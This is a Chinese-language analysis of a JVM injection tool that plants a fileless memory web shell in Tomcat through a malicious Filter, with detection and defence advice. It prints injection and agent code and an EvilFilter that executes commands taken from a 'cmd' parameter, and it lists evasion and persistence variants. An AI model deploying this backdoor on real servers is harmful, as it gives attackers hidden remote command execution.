memShell——jvm注入工具分析
字数 1777 2025-08-09 13:33:35
JVM注入工具分析:基于Tomcat Filter的内存Shell技术
1. 技术背景与原理
1.1 Tomcat Filter机制
Tomcat中的Filter是一个实现了javax.servlet.Filter接口的Java类,由Servlet容器调用执行。关键特性:
- 拦截功能:Filter位于Servlet容器与Servlet程序之间,可拦截请求和响应
- 链式调用:多个Filter可形成处理链,按web.xml中定义的顺序执行
- 控制权:Filter可以决定是否将请求传递给下一个Filter或Servlet
1.2 内存Shell概念
内存Shell是一种驻留在内存中的后门技术,特点包括:
- 无文件落地,难以通过常规文件扫描检测
- 通过JVM注入技术实现
- 随应用重启而消失,但可通过持久化机制保持
2. 工具环境搭建
2.1 实验环境准备
- 启动Tomcat服务器
- 配置IDEA进行被动调试监听:
- 设置远程调试端口
- 以Debug模式启动项目
- 运行inject.jar时采用主动Debug方式连接本地IDEA项目
2.2 调试配置要点
- 确保Tomcat的JPDA(Java Platform Debugger Architecture)调试端口开放
- 保持inject.jar与agent.jar在同一目录下
- 注意JVM版本兼容性(工具与目标Tomcat版本匹配)
3. 注入流程分析
3.1 注入过程详解
-
密码验证:
- 工具首先要求输入密码,提供基本交互验证
- 增强工具的隐蔽性和可控性
-
文件定位:
// 获取当前目录查找agent.jar String currentDir = System.getProperty("user.dir"); File agentFile = new File(currentDir, "agent.jar"); -
目标进程查找:
- 使用
VirtualMachine.list()遍历JVM进程 - 识别Tomcat进程特征(如包含"org.apache.catalina.startup.Bootstrap")
- 使用
-
进程附加与注入:
// 附加到目标JVM进程 VirtualMachine vm = VirtualMachine.attach(pid); // 加载agent.jar vm.loadAgent(agentFile.getAbsolutePath());
3.2 注入关键点
- 依赖
com.sun.tools.attach.VirtualMachine类(位于tools.jar) - 需要JVM进程的操作权限(通常需要与目标进程相同用户运行)
- 注入成功后Tomcat控制台会显示"Agent Main Done"提示
4. Agent实现分析
4.1 Agent入口
Agent通过agentmain方法作为入口点:
public static void agentmain(String agentArgs, Instrumentation inst) {
// 主要逻辑实现
}
4.2 核心操作流程
-
类重定义:
- 获取所有已加载类:
inst.getAllLoadedClasses() - 定位
org.apache.catalina.core.ApplicationFilterChain类
- 获取所有已加载类:
-
字节码转换:
- 使用
ClassFileTransformer修改目标类字节码 - 通过
retransformClasses()方法应用修改
- 使用
-
Filter注入:
- 在ApplicationFilterChain中插入恶意Filter
- 确保Filter在请求处理链中被调用
4.3 内存马实现
典型的Filter内存马实现要点:
-
动态注册Filter:
// 创建恶意Filter实例 Filter evilFilter = new EvilFilter(); // 获取StandardContext StandardContext standardContext = ...; // 创建FilterDef并设置属性 FilterDef filterDef = new FilterDef(); filterDef.setFilter(evilFilter); filterDef.setFilterName("evilFilter"); // 添加到Filter链 standardContext.addFilterDef(filterDef); -
URL模式映射:
// 创建FilterMap FilterMap filterMap = new FilterMap(); filterMap.setFilterName("evilFilter"); filterMap.addURLPattern("/*"); // 拦截所有请求 standardContext.addFilterMap(filterMap);
5. 技术防御与检测
5.1 防御措施
-
JVM防护:
- 限制
VirtualMachine类的使用 - 配置安全管理器(SecurityManager)
- 限制
-
运行时检测:
- 监控可疑的类重定义操作
- 检查非web.xml定义的Filter
-
系统加固:
- 使用Tomcat的SecurityManager
- 定期检查已加载的类和Filter
5.2 检测方法
-
内存分析:
- 使用Java Mission Control或VisualVM检查加载的类
- 分析Filter链中的异常条目
-
代码扫描:
# 检查Tomcat进程加载的agent jcmd <pid> VM.command_line jcmd <pid> VM.agent_properties -
行为监控:
- 监控
retransformClasses调用 - 记录非标准Filter的注册行为
- 监控
6. 技术演进与变种
-
注入点多样化:
- 除了Filter,还可注入Servlet、Listener等组件
- Spring框架下的Controller内存马
-
隐蔽性增强:
- 使用反射调用规避检测
- 动态解密恶意代码
-
持久化机制:
- 结合JNDI实现自动重新注入
- 修改Tomcat启动脚本实现持久化
附录:关键代码片段
Agent入口示例
public class Agent {
public static void agentmain(String agentArgs, Instrumentation inst) {
Class[] classes = inst.getAllLoadedClasses();
for (Class cls : classes) {
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
try {
inst.addTransformer(new EvilTransformer(), true);
inst.retransformClasses(cls);
} catch (Exception e) {
e.printStackTrace();
}
break;
}
}
}
}
Filter内存马示例
public class EvilFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
// 恶意逻辑实现
if (request.getParameter("cmd") != null) {
// 执行命令并返回结果
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
// ...处理输出
return;
}
chain.doFilter(request, response);
}
}
以上内容全面分析了基于Tomcat Filter的内存Shell技术原理、实现方式和防御措施,涵盖了从注入到检测的完整知识链。